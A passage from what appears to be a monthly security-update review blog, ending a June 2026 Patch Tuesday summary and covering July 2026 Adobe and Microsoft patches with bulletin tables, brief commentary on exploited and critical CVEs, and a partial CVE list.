Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls.

Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.

There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.

I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.

There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.

No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

The July 2026 Security Update Review

Sat, 25 Jul 2026 19:02:51 +0200

Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for July 2026

Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.

For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.

Here’s this month’s overview table:

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-82	Adobe ColdFusion	13	Critical	9.9	No	1
APSB26-73	Adobe Commerce	13	Critical	9.6	No	2
APSB26-78	Adobe After Effects	3	Critical	7.8	No	3
APSB26-83	Adobe Animate	6	Critical	8.6	No	3
APSB26-71	Adobe Audition	6	Critical	7.8	No	3
APSB26-81	Adobe Bridge	6	Critical	7.8	No	3
APSB26-77	Adobe Creative Cloud Desktop Application	2	Critical	8.1	No	3
APSB26-74	Adobe Experience Manager	13	Critical	9.6	No	3
APSB26-79	Adobe Illustrator	5	Critical	9.3	No	3
APSB26-72	Adobe Media Encoder	5	Critical	7.8	No	3
APSB26-76	Adobe Premiere Pro	4	Critical	7.8	No	3
APSB26-80	Content Credentials SDK	12	Critical	8.2	No	3
TOTAL	12 bulletins	88

While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here.

Microsoft Patches for July 2026

Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.

The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.

So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.

- CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege Vulnerability
This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.

- CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege Vulnerability
The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.

- CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability
This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.

- CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution Vulnerability
This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly.

- CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability
This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there.

- CVE-2026-55008 - Microsoft Exchange Server Spoofing Vulnerability
Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.

- CVE-2026-50518 - Windows DHCP Server Remote Code Execution Vulnerability
There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.

- CVE-2026-56188 - Windows Server Network driver Remote Code Execution Vulnerability
Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.

- CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability
File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.

Here’s the full list of CVEs released by Microsoft for July 2026:

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-56155	Active Directory Federation Services Elevation of Privilege Vulnerability	Important	7.8	No	Yes	EoP
CVE-2026-56164	Microsoft SharePoint Server Elevation of Privilege Vulnerability	Moderate	5.3	No	Yes	EoP
CVE-2026-50661	Windows BitLocker Security Feature Bypass Vulnerability	Important	6.1	Yes	No	SFB
CVE-2026-54121	Active Directory Certificate Services Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-45499 **	Azure OpenAI Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-48564	DHCP Server Service Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-50370	DHCP Server Service Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-56159	DHCP Server Service Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50382	DirectX Graphics Kernel Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-41106 **	Microsoft 365 Copilot Elevation of Privilege Vulnerability	Critical	9.3	No	No	EoP
CVE-2026-26145 **	Microsoft Azure Synapse Elevation of Privilege Vulnerability	Critical	4.8	No	No	EoP
CVE-2026-48561	Microsoft Copilot Remote Code Execution Vulnerability	Critical	9.6	No	No	RCE
CVE-2026-55011	Microsoft Defender Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55012	Microsoft Defender Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55944	Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (On Premises) Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-57100 **	Microsoft Entra Provisioning Service Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-55041	Microsoft Excel Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-54998 **	Microsoft Exchange Online Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-55008	Microsoft Exchange Server Spoofing Vulnerability	Critical	9.6	No	No	Spoofing
CVE-2026-54992	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-50314	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50467	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55018	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55022	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55045	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-55049	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55129	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55056	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55140	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55043	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55123	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55120	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50522	Microsoft SharePoint Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-58644	Microsoft SharePoint Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-55040	Microsoft SharePoint Server Security Feature Bypass Vulnerability	Critical	9.1	No	No	SFB
CVE-2026-54117	Microsoft SQL Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54118	Microsoft SQL Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-50655	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-56189	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-57090	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57094	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57087	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57092	Microsoft Windows VMSwitch Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-55033	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55127	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55132	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55010	Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50474	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-49164	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-54128	Windows DHCP Client Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-50518	Windows DHCP Server Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-49796	Windows GDI+ Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50380	Windows GDI+ Remote Code Execution Vulnerability	Critical	9.6	No	No	RCE
CVE-2026-54127	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	7.4	No	No	EoP
CVE-2026-50680	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	8.2	No	No	EoP
CVE-2026-50327	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-58542	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-58608	Windows Print Spooler Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54982	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54995	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-42982	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Critical	7.8	No	No	EoP
CVE-2026-50392	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Critical	7	No	No	EoP
CVE-2026-50694	Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-56188	Windows Server Network driver Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50444	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-54999	Windows TCP/IP Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-47302	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50525	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50651	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57108	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50524	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50527	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50648	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50650	.NET Framework Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50646	.NET Framework Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50649	.NET Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-47304	.NET Security Feature Bypass Vulnerability	Important	8.1	No	No	SFB
CVE-2026-50528	.NET Security Feature Bypass Vulnerability	Important	8.2	No	No	SFB
CVE-2026-50659	.NET Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-50526	.NET Tampering Vulnerability	Important	7	No	No	Tampering
CVE-2026-50682	Active Directory Denial of Service Vulnerability	Important	7.1	No	No	DoS
CVE-2026-55001	Active Directory Domain Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50647	Active Directory Federation Server Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50684	Active Directory Federation Server Spoofing Vulnerability	Important	4.8	No	No	Spoofing
CVE-2026-56170	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-47300	ASP.NET Core Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-47303	ASP.NET Core Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50652	Azure Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50653	Azure Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57969	Azure CycleCloud Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58279	Azure CycleCloud Elevation of Privilege Vulnerability	Important	6.5	No	No	EoP
CVE-2026-47632	Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50338	Azure Spring Apps Elevation of Privilege Vulnerability	Important	8.2	No	No	EoP
CVE-2026-50488	Clipboard User Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50491	Code Integrity DLL (ci.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50381	Composite Image File System driver (cimfs.sys) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50427	Content Delivery Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50692	Desktop Window Manager Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58633	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58634	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50296	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50375	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-50353	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50493	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56643	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56644	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58629	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49174	DNS Client Tampering Vulnerability	Important	6.1	No	No	Tampering
CVE-2026-50495	DNS Client Tampering Vulnerability	Important	6.1	No	No	Tampering
CVE-2026-57088	Extensible Storage Engine (ESENT) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50663	Game: Age of Empires II: Definitive Edition Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-47282	GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-41109	GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-50510	GitHub Copilot Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49787	HTTP.sys Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50420	HTTP.sys Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-49788	HTTP/2 Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50696	Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-58617	M365 Copilot for iOS Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-58595	Microsoft Bing App for IOS Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-49162	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50305	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50361	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50466	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50458	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50658	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-56178	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-50657	Microsoft Defender for Endpoint for Mac Information Disclosure Vulnerability	Important	4.7	No	No	Info
CVE-2026-50329	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58541	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58596	Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability	Important	8.3	No	No	EoP
CVE-2026-57991	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Important	7.4	No	No	Info
CVE-2026-58291	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-57981	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57984	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57985	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.6	No	No	RCE
CVE-2026-57986	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57988	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.1	No	No	RCE
CVE-2026-57992	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58276	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-56645	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57974	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57975	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58281	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58284	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58285	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58287	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58288	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58289	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	9	No	No	RCE
CVE-2026-58290	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58292	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58293	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-58294	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57983	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.7	No	No	SFB
CVE-2026-58295	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.3	No	No	SFB
CVE-2026-58525	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.2	No	No	SFB
CVE-2026-57987	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-58278	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-56646	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-57977	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-57993	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.4	No	No	Spoofing
CVE-2026-58282	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58283	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58286	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58298	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.2	No	No	Spoofing
CVE-2026-58524	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-58296	Microsoft Edge for Android Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-58297	Microsoft Edge for Android Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-58300	Microsoft Edge for Android Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-58522	Microsoft Edge for Android Information Disclosure Vulnerability	Important	6.8	No	No	Info
CVE-2026-58299	Microsoft Edge for Android Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58523	Microsoft Edge for Android Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-50678	Microsoft Excel Information Disclosure Vulnerability	Important	6.6	No	No	Info
CVE-2026-54988	Microsoft Excel Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-48580	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50408	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55046	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55138	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55054	Microsoft Excel Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-55122	Microsoft Excel Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-55898	Microsoft Excel Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-50675	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55899	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55948	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58618	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-47642	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55024	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55025	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55031	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55048	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55029	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55039	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55136	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55141	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55036	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55044	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55037	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55058	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55137	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
